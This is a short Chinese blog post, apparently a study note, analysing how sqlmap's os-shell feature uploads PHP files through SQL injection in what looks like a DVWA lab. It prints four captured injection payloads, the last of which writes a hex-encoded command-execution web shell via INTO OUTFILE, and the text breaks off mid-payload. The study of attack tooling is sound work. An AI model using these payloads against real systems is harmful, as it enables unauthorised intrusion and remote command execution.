sqlmap os-shell原理

最新推荐文章于 2024-04-04 12:21:03 发布

QQ274028756

最新推荐文章于 2024-04-04 12:21:03 发布

阅读量2.6k

点赞数

分类专栏：学习

本文链接：https://blog.csdn.net/somnuszhigang/article/details/103163942

版权

本文详细探讨了sqlmap的os-shell功能，包括流程分析，如选择语言、发现可写路径、上传文件；流量分析，关注关键HTTP请求；文件内容解析，解释后门脚本的工作方式。Q&A部分解答了os-shell原理、分两步的原因、使用条件及退出后的行为。

摘要由CSDN通过智能技术生成

sqlmap os-shell原理

0x01 流程

i. 简单判断

从截图显示中，可以看到有以下几步

1、选择 web 应用语言

2、发现（提供）一个可写的绝对路径

3、顺序（不同方法）上传tmpujout.php、tmpbvwsp.php两个文件

ii. 流量分析

主要的http流量有 4 条，第 2 条根据@@version_compile_os首字母判断操作系统，第 4 条开始写入文件

1. id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x717a767671,(SELECT REPEAT(0x34,1024)),0x7170716271,0x78))s), 8446744073709551610, 8446744073709551610)))-- MBKa&Submit=Submit

2. id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x717a767671,(SELECT (CASE WHEN (0x57=UPPER(MID(@@version_compile_os,1,1))) THEN 1 ELSE 0 END)),0x7170716271,0x78))s), 8446744073709551610, 8446744073709551610)))-- EJbF&Submit=Submit

3. id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x717a767671,(SELECT REPEAT(0x31,451)),0x7170716271,0x78))s), 8446744073709551610, 8446744073709551610)))-- LNMk&Submit=Submit

4. id=1' LIMIT 0,1 INTO OUTFILE '/var/www/html/hackable/uploads/tmpujout.php' LINES TERMINATED BY 0x3c3f7068702024633d245f524551554553545b22636d64225d3b407365745f74696d655f6c696d69742830293b4069676e6f72655f7573657